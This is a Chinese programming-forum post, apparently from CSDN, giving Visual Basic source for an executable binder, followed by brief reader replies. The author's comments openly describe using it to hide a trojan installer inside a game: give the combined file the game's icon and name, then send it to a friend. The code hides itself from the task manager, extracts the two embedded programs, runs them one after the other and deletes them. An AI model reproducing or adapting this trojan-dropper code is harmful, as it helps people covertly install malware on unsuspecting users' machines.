lights个人最满意的程序 csdn封笔之作（恬不知耻）

lights

'VB也疯狂，自己生成自己，病毒？
'病毒是在程序中加入额外的代码来完成自己的使命。
'这个程序是在程序中加入额外的程序。
'如果你想给你的朋友发个大木马程序......
'如果你想把什么驻留在你朋友的电脑里......
'如果你怕你的朋友玩怀了眼睛，想提前帮他关机......
'木马我不提供、安装木马的程序我不提供。
'提供给你源代码，其实修改一下就是很好的木马安装程序。
'假设你把这个程序编译成dan.exe
'这个程序的使用方法 如：DAN pro1.exe ie.exe
'就会生成一个 dan_2.exe
'运行dan_2.exe就会依次运行pro1.exe和ie.exe,但你不再需要这两个文件。
'实例: DAN hehehe.exe game.exe
'hehehe.exe 是你的木马安装程序
'game.exe 是游戏或是安装程序
'再把dan_2.exe 换上game.exe 的图标，改名成 game.exe
'发给你的朋友，呵呵......纯属例子，请勿模仿。
'支持监测自身是否染毒的程序，以及一切运行程序。
'不支持监测自身是否改名的程序（有这么变态的程序么？）
'切记只能编译成运行程序使用，且勿调试。（如果你有好的调试方法，感激涕淋）

'dangerous.bas 无窗口程序。

'全都是为shell32bit准备
Private Declare Function OpenProcess Lib "Kernel32" (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "Kernel32" (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Sub Sleep Lib "Kernel32" (ByVal dwMilliseconds As Long)

Sub Shell32Bit(ByVal JobToDo As String) '运行一个程序直到它结束
         Dim hProcess As Long
         Dim RetVal As Long
         hProcess = OpenProcess(&H400, False, Shell(JobToDo, 1))
         Do
             GetExitCodeProcess hProcess, RetVal
             DoEvents: Sleep 100
         Loop While RetVal = &H103
End Sub
Sub Main()
On Error Resume Next
Dim tCom As String
Dim tTag As Long
Dim Add1 As Long
Dim long1 As Long
Dim Add2 As Long
Dim long2 As Long
tTag = &H76543210 '古怪的几乎不可能出现在文件结尾的值，来判断是否连接过
Dim n As Long
Dim pict() As Byte

App.TaskVisible = False '不显示在任务管理器
ddd = App.Path
If Right(ddd, 1) <> "\" Then ddd = ddd & "\"
tCom = Command()
file1 = PickWord(tCom) '命令行输入的第一个参数
file2 = PickWord(tCom) '命令行输入的第二个参数
tfile = ddd & App.EXEName & ".exe"
tfile2 = ddd & App.EXEName & "_2" & ".exe"
FileCopy tfile, tfile2 '复制一个临时的文件

code = FreeFile(1)
Open tfile2 For Binary As code
  
  Seek code, FileLen(tfile2) - 19 '读出最后20个字节纪录的信息
   Get code, , Add1 '文件一地址
   Get code, , long1 '文件一尺寸
   Get code, , Add2 '文件二地址
   Get code, , long2 '文件二尺寸
   Get code, , n '是否处理过的标志
If n = tTag Then '如果是一个处理过的文件
'解开执行
  file1 = ddd & App.EXEName & "_2a" & ".exe"
  file2 = ddd & App.EXEName & "_2b" & ".exe"
  '生成文件1
  ReDim pict(long1 - 1)
  Seek code, Add1
   Get code, , pict
  code2 = FreeFile(1)
  Open file1 For Binary As code2
   Put code2, , pict
  Close code2
  Shell32Bit file1 '执行文件1
  Kill file1 '删除文件1
  '生成文件2
  ReDim pict(long2 - 1)
  Seek code, Add2
   Get code, , pict
  code2 = FreeFile(1)
  Open file2 For Binary As code2
   Put code2, , pict
  Close code2
  Shell32Bit file2 '执行文件2
  Kill file2 '删除文件2
  
Else
'合并文件
   '并入文件1
  Seek code, 1 + FileLen(tfile2)
   code2 = FreeFile(1)
   Open file1 For Binary As code2
    ReDim pict(FileLen(file1) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '并入文件2
  Seek code, 1 + FileLen(tfile2) + FileLen(file1)
   code2 = FreeFile(1)
   Open file2 For Binary As code2
    ReDim pict(FileLen(file2) - 1)
    Get code2, , pict
    Put code, , pict
   Close code2
   If Err.Number <> 0 Then GoTo errNofile
   Err.Clear
   '计录状态
  Seek code, 1 + FileLen(tfile2) + FileLen(file1) + FileLen(file2)
   Add1 = 1 + FileLen(tfile2)
   long1 = FileLen(file1)
   Add2 = 1 + FileLen(tfile2) + FileLen(file1)
   long2 = FileLen(file2)
   Put code, , Add1
   Put code, , long1
   Put code, , Add2
   Put code, , long2
   Put code, , tTag
End If

Close code

If n = tTag Then Kill tfile2 '执行完毕删除临时文件
End

errNofile: '缺少连接文件
Close code '关闭临时文件
Kill tfile2 '删除临时文件
MsgBox "         找不到文件。" & Chr(13) _
     & Chr(13) _
     & "           使用方法：" & Chr(13) _
     & "APPname File1name File2name " & Chr(13) _
     & "  APPname: 本程序文件名" & Chr(13) _
     & "File1name: 连接的第一个文件" & Chr(13) _
     & "File2name: 连接的第二个文件" _
     , vbOKOnly, "错误"
End

End Sub
Public Function PickWord(strs As String) As String '挨个取出字符串中的单词
For a = 1 To Len(strs)
  If Mid(strs, a, 1) <> " " Then ss = a:  GoTo 100
Next a
PickWord = "": Exit Function
100
For a = ss To Len(strs)
  If Mid(strs, a, 1) = " " Then ee = a: GoTo 200
Next a
ee = a
200
PickWord = Mid(strs, ss, ee - ss)
strs = Mid(strs, ee + 1)
End Function

realline

能说下实现的思想吗？

神话

类似的文章我在鹰盟上见过。不过那里没人喜欢。但是我很喜欢，支持你一下。

lights

把代码删除留下注释就是思路了！

谜の名侦探

觉得vb还可以地说